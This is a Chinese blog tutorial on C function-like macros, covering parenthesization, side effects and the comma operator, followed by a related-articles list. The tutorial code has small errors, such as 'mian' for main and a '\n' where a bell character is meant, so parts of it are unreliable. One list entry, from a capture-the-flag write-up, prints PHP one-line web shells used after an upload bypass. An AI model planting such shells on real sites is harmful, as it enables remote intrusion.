C语言之函数式宏

目录

函数和数据类型

函数式宏

函数和函数式宏

函数式宏和对象式宏

不带参数的函数式宏

函数式宏和逗号运算符


函数式宏和函数类似并且比函数更加灵活,下面我们就来学习函数式宏的相关内容。

函数和数据类型

我们来编写一个程序,它能计算出所读取数值的平方,并将结果显示出来,我们先来编写适用于int类型和double类型的函数。

/*整数和浮点数的平方*/
#include<stdio.h>/*计算int型数的平方值*/
int sqr_int(int x)
{return x * x;
}
/*计算double型数的平方值*/
double sqr_double(double x)
{return x * x;
}
int mian()
{int x;double n;printf("请输入一个整数:");scanf("%d", &x);printf("该整数的平方是%d\n", sqr_int(x));printf("请输入一个整数:");scanf("%lf", &n);printf("该整数的平方是%f\n", sqr_double(n));return 0;
}

如果我们又想计算其他数据类型的平方呢?比如计算long型数的平方,就得创建出一个sqr_long的函数,如果接二连三的写出这种功能相近,名称相似的函数,程序就会充斥着这种似是而非的函数

下面我们来学习解决办法:函数式宏


函数式宏

函数式宏(function—like macro)较之对象式宏可以进行更为复杂的代换。

#include<stdio.h>#define sqr(x) ((x) * (x))//计算x平方的函数式宏int main()
{int x;double n;printf("请输入一个整数:");scanf("%d", &x);printf("该整数的平方是%d\n", sqr(x));printf("请输入一个整数:");scanf("%lf", &n);printf("该整数的平方是%f\n", sqr(n));return 0;
}
//#define 给出的命令如下:

下文中若出现sqr(☺)形式的表达式就将其展开为:

((☺)* (☺))

因此,在调用printf函数时就可以像下面一样展开并执行:

printf("该数的平方是%d\n", ((x) * (x)));

函数和函数式宏

函数和函数式宏的调用看上去相同,但也有以下几个区别:

■函数式宏sqr是在编译时展开并填入程序的,因此只要能使用双目运算符 * 进行乘法运算的数据类型,都能使用函数式宏。

■而函数定义则需要每个形参都定义各自的数据类型,返回值类型也都只有一种,就这点而言,函数较为严格。


 ■函数为我们默默无闻的进行一系列的复杂处理:

☞参数传递(将实参复制给形参)

☞函数调用和函数的返回操作(函数流程的控制)

☞返回值的传递

而函数式宏所做的工作只是宏展开和填入程序,并不执行上述步骤。


 ■根据以上特征,函数式宏或许能使程序的运行速度稍微提高,但是程序自身可能会变得臃肿(如果宏展开式极为复杂,那么在使用到它的所有地方都会填入这些复杂的表达式)。


 ■函数式宏在使用时必须小心,比如sqr((a++)* (a++)),每次展开a的值都会递增两次。在不经意间表达式被执行了两次,导致程序出现了意料之外的结果,我们称这种情况为宏的副作用

注意:在定义和使用函数式宏的时候,要仔细考虑是否会使用产生副作用。

☞将函数版的sqr_int作为sqr_int(a++)调用时,a的值不会调用两次,如果是宏版,则要将sqr(a)和a++分开。


函数式宏和对象式宏

如果在宏名称sqr和紧邻其后的( 之间插入空格,进行如下宏定义:

#define sqr (x) ((x) * (x))

 则sqr会被编译器当做对象式宏,程序中的sqr都会被替换为(x) ((x) * (x))

因此我们在定义函数式宏时,不要在宏名称和(之间插入空格。

 以下是计算二值之和的函数式宏:

#define sum_of(x,y) x + y

我们使用以下语句来调用这个函数式宏

z = sum_of(a, b) * sum_of(c, d);

让我们来看看宏展开式是否符合我们的意愿呢?

z = a + b * c + d;

很显然结果不尽人意,保险起见我们在宏定义时将每个参数以及整个表达式都用括号括起来

#define sum_of(x,y) ((x) + (y))

这样表达式就能正确展开了:

z = (a + b) * (c + d);

不带参数的函数式宏

函数式宏也可以像函数那样进行不带参数的定义,例如下面这个响铃的宏alert()

#define alert() (putchar('\n'))

函数式宏和逗号运算符

下面我们来介绍函数式宏的一个重要使用方法,我们先来看下错误示范:

#include<stdio.h>#define puts_alert(str) {putchar('\a');  puts(str)}int main()
{int n;printf("请输入一个整数:");scanf("%d", &n);if(n)puts_alert("这个整数不是0");elseputs_alert("这个整数是0");return 0;
}//本程序在编译时报错,因此不能运行

让我们来分析下原因:

函数式宏put_alert的定义是在puts函数显示字符串str时响铃,只不过这个程序在编译时出错,不能运行。

main函数的if语句展开后如下图所示,if语句会在第一个复合语句{ }处结束,这时因为末尾的 ;会被视为空语句,因此编译器会认为“没有if,为何出现了else”(即使这样,也不能去掉{}否则会出现别的错误)

下面就需要讲到逗号运算符了:

逗号运算符
a,b                                  按顺序判断a和b,整个表达式最终生成b的判断结果
#include<stdio.h>#define puts_alert(str)  (putchar('\a'),  puts(str))int main()
{int n;printf("请输入一个整数:");scanf("%d", &n);if(n)puts_alert("这个整数不是0");elseputs_alert("这个整数是0");return 0;
}

一般由逗号运算符连接的两个表达式“a, b”在语法上可以视为一个表达式(其实不仅限于逗号运算符,只要是由运算符连接的多个表达式,例如“a + b”,都可以视为一个表达式),因此在本程序中if语句在语法上就是正确的。

 如果宏定义中要代换两个以上的表达式,则使用逗号运算符连接,使其在语法上构成一个表达式。

 我们对逗号运算符是怎么执行的来具体说明下:

对于逗号运算符“a, b”,会按顺序判断表达式a和b。对左侧的a仅进行判断,判断结果会被省略去,对于右侧的表达式b进行判断所得到的类型和值,就是逗号表达式“a, b”的类型和值。

例如:i=1,j=5

运行x = (++i, ++j),则i和j的值都会递增,但是递增后j的值会被赋值给x。


感觉基本数据类型中的整型和字符型、浮点型的知识点好复杂啊!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/219016.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

『PyTorch』张量和函数之gather()函数

文章目录 PyTorch中的选择函数gather()函数 参考文献 PyTorch中的选择函数 gather()函数 import torch a torch.arange(1, 16).reshape(5, 3) """ result: a [[1, 2, 3],[4, 5, 6],[7, 8, 9],[10, 11, 12],[13, 14, 15]] """# 定义两个index…

注册与回调

C 再谈谈注册(本质是建立映射)与回调 在之前的博文中&#xff0c; 我们探讨过映射的重要作用&#xff0c; 请直接看&#xff1a;http://blog.csdn.net/stpeace/article/details/39452203, 在那篇文章中&#xff0c; 我们是用STL中的map来做的&#xff0c; map建立的是key-value…

ChatGLM-6B模型结构组件源码阅读

一、前言 本文将介绍ChatGLM-6B的模型结构组件源码。 代练链接&#xff1a;https://huggingface.co/THUDM/chatglm-6b/blob/main/modeling_chatglm.py 二、激活函数 torch.jit.script def gelu_impl(x):"""OpenAIs gelu implementation."""r…

云演 Can you getshell?

1、扫目录&#xff0c;看看到upload.php,找到上传点 2、只让上传jpg gif png&#xff0c;上传图片写码 <?php eval($_POST[c]);?>这个码不行 换马 <script language"php">eval($_REQUEST[c])</script>3、蚁剑连接、得到flag

【MyBatis-Plus】MyBatis进阶使用

目录 一、MyBatis-Plus简介 1.1 介绍 1.2 优点 1.3 结构 二、MyBatis-Plus基本使用 2.1 配置 2.2 代码生成 2.3 CRUD接口测试 三、MyBatis-Plus策略详解 3.1 主键生成策略 3.2 雪花ID生成器 3.3 字段自动填充策略 3.4 逻辑删除 四、MyBatis-Plus插件使用 4.1 乐…

TrustZone之完成器:外围设备和内存

到目前为止,在本指南中,我们集中讨论了处理器,但TrustZone远不止是一组处理器功能。要充分利用TrustZone功能,我们还需要系统其余部分的支持。以下是一个启用了TrustZone的系统示例: 本节探讨了该系统中的关键组件以及它们在TrustZone中的作用。 完成器:外围设备…

服务器数据恢复—raid5热备盘未激活崩溃导致上层oracle数据丢失的数据恢复案例

服务器数据恢复环境&#xff1a; 某品牌X系列服务器&#xff0c;4块SAS硬盘组建了一组RAID5阵列&#xff0c;还有1块磁盘作为热备盘使用。服务器上层安装的linux操作系统&#xff0c;操作系统上部署了一个基于oracle数据库的OA&#xff08;oracle已经不再为该OA系统提供后续服务…

【c语言】【visual studio】动态内存管理,malloc,calloc,realloc详解。

引言&#xff1a;随着大一期末的到来&#xff0c;想必许多学生都学到内存的动态管理这一部分了&#xff0c;看望这篇博客后&#xff0c;希望能解除你心中对这一章节的疑惑。 (・∀・(・∀・(・∀・*) 1.malloc详解 malloc的头文件是#include <sdtlib.h>,malloc - C Ref…

Spring Cloud + Vue前后端分离-第5章 单表管理功能前后端开发

Spring Cloud Vue前后端分离-第5章 单表管理功能前后端开发 完成单表的增删改查 控台单表增删改查的前后端开发&#xff0c;重点学习前后端数据交互&#xff0c;vue ajax库axios的使用等 通用组件开发:分页、确认框、提示框、等待框等 常用的公共组件:确认框、提示框、等待…

【Linux】多线程编程

目录 1. 线程基础知识 2. 线程创建 3. 线程ID&#xff08;TID&#xff09; 4. 线程终止 5. 线程取消 6. 线程等待 7. 线程分离 8. 线程互斥 8.1 初始化互斥量 8.2 销毁互斥量 8.3 互斥量加锁和解锁 9. 可重入和线程安全 10. 线程同步之条件变量 10.1 初始化条件变…

一文了解Tomcat

文章目录 1、Tomcat介绍2、Tomcat使用配置2.1、Tomcat下载启动2.2、Tomcat启动乱码2.3、Tomcat端口号修改 3、Tomcat项目部署4、IDEA中使用Tomcat方式 1、Tomcat介绍 什么是Tomcat ​ Tomcat是Apache软件基金会一个核心项目&#xff0c;是一个开源免费的轻量级web服务器&#x…

【算法Hot100系列】最长回文子串

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

【机器学习】应用KNN实现鸢尾花种类预测

目录 前言 一、K最近邻&#xff08;KNN&#xff09;介绍 二、鸢尾花数据集介绍 三、鸢尾花数据集可视化 四、鸢尾花数据分析 总结 &#x1f308;嗨&#xff01;我是Filotimo__&#x1f308;。很高兴与大家相识&#xff0c;希望我的博客能对你有所帮助。 &#x1f4a1;本文由Fil…

js基础入门

先来一点js基础&#xff0c;其实js大部分的时候都在处理对象或者数组。 对象四个基本操作&#xff1a;增删改查 掌握元素的增删改查&#xff0c;了解如何拷贝&#xff0c;深拷贝和浅拷贝的区别。详情见代码 <script>//创建对象一共有三种赋值声明的语法let obj{} //赋值…

大数据存储技术(3)—— HBase分布式数据库

目录 一、HBase简介 &#xff08;一&#xff09;概念 &#xff08;二&#xff09;特点 &#xff08;三&#xff09;HBase架构 二、HBase原理 &#xff08;一&#xff09;读流程 &#xff08;二&#xff09;写流程 &#xff08;三&#xff09;数据 flush 过程 &#xf…

Java stream 进阶版

1、Stream 概述 Java 8 引入了 Stream API,它是一种用于简化集合和数组操作的强大工具。Stream API 允许我们将集合或数组视为流,并在流上进行各种操作,如筛选、排序、聚合等。 Stream API 的核心概念是 Stream 流,它代表了一个数据流,其中包含了一系列的元素。这些元素…

【LeetCode刷题-排序】--179.最大数

179.最大数 思路&#xff1a; 方法&#xff1a;自定义排序 class Solution {public String largestNumber(int[] nums) {if(nums null || nums.length 0){return "";}//将每个数字转换成字符串String[] strs new String[nums.length];for(int i 0;i < nums.l…

怎样长时间保持SSH会话连接不断开?

操作场景 使用SSH方式登录CentOS Stream操作系统的云服务器时&#xff0c;过一段时间就会自动断开连接。 该文档适用于CentOS/EulerOS系统。 操作方法 编辑/etc/ssh/sshd_config文件设置心跳&#xff0c;保持连接。 编辑/etc/ssh/sshd_config&#xff0c;添加配置项&#x…

【C语言】——认识指针变量和地址,以及指针变量类型的意义

&#x1f3a5; 岁月失语唯石能言的个人主页 &#x1f525;个人栏专&#xff1a;秒懂C语言 ⭐若在许我少年时&#xff0c;一两黄金一两风 目录 前言 一、指针变量和地址 1.1 取地址操作符&#xff08;&&#xff09; 1.2 指针变量和解引用操作符&#xff…

scrapy post请求——百度翻译(十四)

scrapy处理 post 请求 爬取百度翻译界面 目录 1.创建项目及爬虫文件 2.发送post请求 1.创建项目及爬虫文件 scrapy startproject scrapy_104 scrapy genspider translate fanyi.baidu.com 2.发送请求 post请求需要传递参数&#xff0c;所以就不能用start_urls和parse函数了&…